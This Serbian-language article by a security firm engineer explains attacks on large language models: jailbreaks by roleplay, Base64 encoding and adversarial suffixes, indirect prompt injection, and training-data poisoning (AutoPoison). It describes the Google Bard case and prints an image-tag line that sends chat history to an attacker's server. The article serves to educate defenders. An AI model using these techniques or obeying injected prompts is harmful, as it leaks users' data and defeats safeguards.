Stručnjaci u oblasti sajber bezbednosti su vrsni poznavaoci trendova i aktuelnosti koji se tiču bezbednosti digitalnih sistema. Za Internet ogledalo, Ivan Kusturić, menadžer inženjeringa u PULSEC Grupi, piše o jednom veoma aktuelnom aspektu sajber bezbednosti – bezbednosti LLM modela. PULSEC Grupa je specijalizovana za implementaciju naprednih rešenja u oblasti sajber bezbednosti i pružanje usluga u ovoj oblasti.
Algoritam veštačke inteligencije, koji koristi tehnike dubokog učenja i velike baze podataka kako bi razumeo, sumirao i predvideo novi sadržaj, već neko vreme nije samo element naučno-fantastičnih filmova, već i stvarnost. Ovaj algoritam se naziva Large Language Model (LLM) i predstavlja osnovu mnogih botova veštačke inteligencije, među kojima je verovatno najpoznatiji ChatGPT. Ovi sistemi mogu imati veliki potencijalni uticaj na društvo, ali razmera tog uticaja još uvek je nepoznanica, baš kao i određeni aspekti funkcionisanja samog LLM modela. Naime, način na koji neuronske mreže u ovim modelima ispoljavaju određene karakteristike nije u potpunosti jasan. S druge strane, arhitektura modela je veoma jasna, kao i način podešavanja (tuning) modela za generisanje boljih rezultata.
LLM modeli se obučavaju korišćenjem ogromne količine teksta prikupljenog sa interneta. Da bi se izbeglo generisanje sadržaja upitnog karaktera – poput govora mržnje, polarizacije prilikom iznošenja informacija, informacija koje mogu imati štetno dejstvo (npr. kako izvršiti pljačku) i slično, developeri LLM modela koriste različite metode finog podešavanja (fine-tuning). Na taj način se vrši takozvani model alignment.
Bezbednost LLM modela se bavi problemom narušavanja alignmenta. Drugim rečima, bavi se razumevanjem različitih načina kompromitovanja modela, uslova koji do toga dovode, kao i načinima zaštite ovih sistema – počevši od načina korišćenja modela, zaštite sistema na kojima se modeli izvršavaju, zaštite intelektualne svojine, do podataka koji se koriste prilikom obučavanja i slično.
Neke od najčešćih vrsta napada na LLM modele su: Jailbreaking, Indirect Prompt Injection (IPI) i Data poisoning.
Jailbreaking se odnosi na vrstu napada koja ima za cilj da omogući pristup do ‘sistemskog prompta’, odnosno do baznog modela na kojem nisu izvršena dodatna podešavanja u cilju sprečavanja širenja sadržaja koji bi mogao imati štetno dejstvo.
Postoje različite tehnike koje omogućavaju ovakvu vrstu napada. Neke od njih su: Roleplaying, Base64 kodiranje i univerzalni sufiks.
Roleplaying se u ovom kontekstu odnosi na promenu konteksta pitanja, tako da pitanje deluje bezazleno. Poznat je primer pitanja za pravljenje napalma – ukoliko se model pita direktno, odgovoriće da je informacija opasna i da ne može odgovoriti. Međutim, u slučaju promene konteksta, model ipak daje odgovor.
Foto: Primer Jailbreaking-a Roleplaying metodom
U slučaju Base64 kodiranja, otkriveno je da ukoliko se upit generiše u Base64 formatu, model odgovara bez ustručavanja.
Foto: Primer Jailbreaking-a Base64 kodovanjem
Što se tiče univerzalnog sufiksa, u pitanju je metoda jailbreak-ovanja korišćenjem naizgled nasumično generisanog teksta koji se dodaje na kraj štetnog upita.
Pomenuti sufiks je dobijen posebnim tehnikama optimizacije i istraživači su dokazali da je moguće generisati proizvoljan brojrazličitih sufiksa, što otežava zaštitu modela pretreniranjem sa nekim konkretnim primerima[1].
Dakle, i u ovom slučaju, nećemo dobiti štetnu informaciju ukoliko je direktno zatražimo, ali će primena posebno generisanog sufiksa ‘ubediti’ LLM da odgovori na upit, uprkos njegovoj štetnosti.
Foto: Primer Jailbreaking-a primenom univerzalnog sufiksa
Indirect Prompt Injection (IPI) je metoda koja podrazumeva ubacivanje prompta sa ciljem manipulisanja odgovorom. Za razliku od Prompt Injection napada, gde se prompt unosi direktno, u ovom slučaju problematični prompt se unosi u model na indirektan način – na primer, ubacivanjem prompta na web stranicu na koju se model upućuje radi izvršavanja određenog zadatka. Maliciozni promptovi u ovom slučaju mogu biti sakriveni tako da korisniku nisu očigledni – na primer, unutar slike (beli tekst na beloj podlozi).
Interesantno je posmatrati ponašanje modela u slučaju konzumiranja takvog prompta. Istraživanja su pokazala da je u nekim slučajevima dovoljno navesti cilj prevare i da će model sam koristiti različite tehnike ubeđivanja, inicirati konverzaciju u odgovarajućem smeru, ili čak izvršavati akcije (ukoliko za to ima mogućnost)[2].
Interesantan primer ovakvog tipa napada je izvršen na Google Bard. Google-ov LLM prilikom generisanja odgovora ima mogućnost generisanja markdown elemenata koje model prilikom odgovaranja vraća kao HTML sadržaj. Ova karakteristika omogućava generisanje slike kao odgovora. Konkretan napad se sastojao u tome da korisnik Bard-u pošalje URL sa Google Doc-a i traži da model sumira sadržaj sa linka. Unutar teksta koji se nalazi na pomenutom linku se nalazi prompt sledećeg oblika:
Google Bard će nakon konzumiranja teksta iz prompta generisati HTML img element sa src atributom koji upućuje na server koji je pod kontrolom napadača (<img src=“https://wuzzi.net/logo.png?goog=[DATA_EXFILTRATION]”>) i automatski će poslati HTTP GET zahtev prema datoj adresi. Podaci koji se pokušavaju ukrasti (eng. data exfiltration) će biti poslati unutar samog zahteva (npr. istorija razgovora sa Bard-om). Problem za izvršavanje opisanog napada je Google-ov Content Security Policy (CSP) koji sprečava prikazivanje slika sa proizvoljnih lokacija (prim. aut. sa servera koji su pod kontrolom napadača). Međutim i ova restrikcija se uspešno zaobišla korišćenjem Google-ove App Script-e[3].
Još jedna metoda kompromitovanja LLM modela koju ćemo pomenuti je Data Poisoning. Data Poisoning se odnosi na vrstu napada u kojoj napadač ima mogućnost modifikovanja podskupa podataka koji se koriste za obučavanje modela, na način da se postigne određeno štetno ponašanje.
LLM modeli kao što su GPT-4, PaLM, ili open-source alternative se već neko vreme koriste kao asistenti za izvršavanje različitih zadataka (sumiranje sastanka, primanje i slanje mail-ova, chatbot aplikacije, generisanje koda i slično). Mogućnost specijalizovanja LLM modela za kvalitetno izvršavanje takvih zadataka se ogleda u tome da se finim podešavanjem sa značajno manjim brojem trening podataka mogu ostvariti veoma dobre performanse. Red veličine podataka koji se koriste za bazno obučavanje modela uključuje trilione tokena dok je za fino podešavanje potrebno desetak hiljada ručno označenih primera.
AutoPoison[4] je jedan od načina kompromitovanja trening podataka. Rezultati iz ovog rada pokazuju da je izmenom malog podskupa podataka moguće promeniti ponašanje modela i pri tome zadržati visok nivo skrivenosti. Način kompromitovanja podataka ovom metodom je prikazan na slici ispod:
Važno je istaći da štetni sadržaj koji se ubacuje u model nije sadržan u finalnom trening podatku, što otežava mogućnost detekcije. Takođe, u istom radu je utvrđeno da se bolji rezultati dobijaju ukoliko se štetni sadržaj generiše korišćenjem drugog LLM modela (Oracle LM), u odnosu na štetne primere generisane od strane ljudi.
Split-view data poisoning i Frontrunning su još neki od primera Data Poisoning-a.
Konstantno nadmudrivanje
Iako su Jailbreaking, Adversarial Prompting i Data Poisoning poznate metode napada na LLM modele, istraživanja ukazuju na to da ne postoji jasan pristup zaštite od takvih napada i da ih je, u najmanju ruku, teško sprečiti.
Iz primera koji su navedeni u ovom tekstu može se videti da svako dodavanje novih mogućnosti (kao što je prepoznavanje i generisanje slika) povećava broj mogućnosti za napade (eng. attack surface).
Ako bismo napravili poređenje sa računarskim sistemima i brojem različitih ranjivosti i metoda napada, možemo očekivati da će se broj napada na LLM modele vremenom povećavati i dolaziti u najrazličitijim oblicima. Zaštita ovih modela je utoliko teža jer načini njihovog funkcionisanja nisu u potpunosti jasni. Kao i do sada u oblasti sajber bezbednosti, i u ovom slučaju je odbrana tih sistema igra mačke i miša – napadači osmišljavaju nove načine eksploatisanja modela, dok druga strana smišlja sve bolje i kvalitetnije odbrane.
………………………………………………………………………
[1] Detaljne informacije o ovoj vrsti napada možete pročitati u radu Universal and Transferable Adversarial Attacks on Aligned Language Models.
[2] Više o tome možete pročitati u radu „Not what you’ve signed up for: Compromising Real-World LLM-Integrated Applications with Indirect Prompt Injection”.
[3] Detaljne informacije možete naći u članku “Hacking Google Bard – From Prompt Injection to Data Exfiltration”.
[4] Više o AutoPoison-u kao načinu kompromitovanja podataka možete saznati na: https://arxiv.org/abs/2306.17194
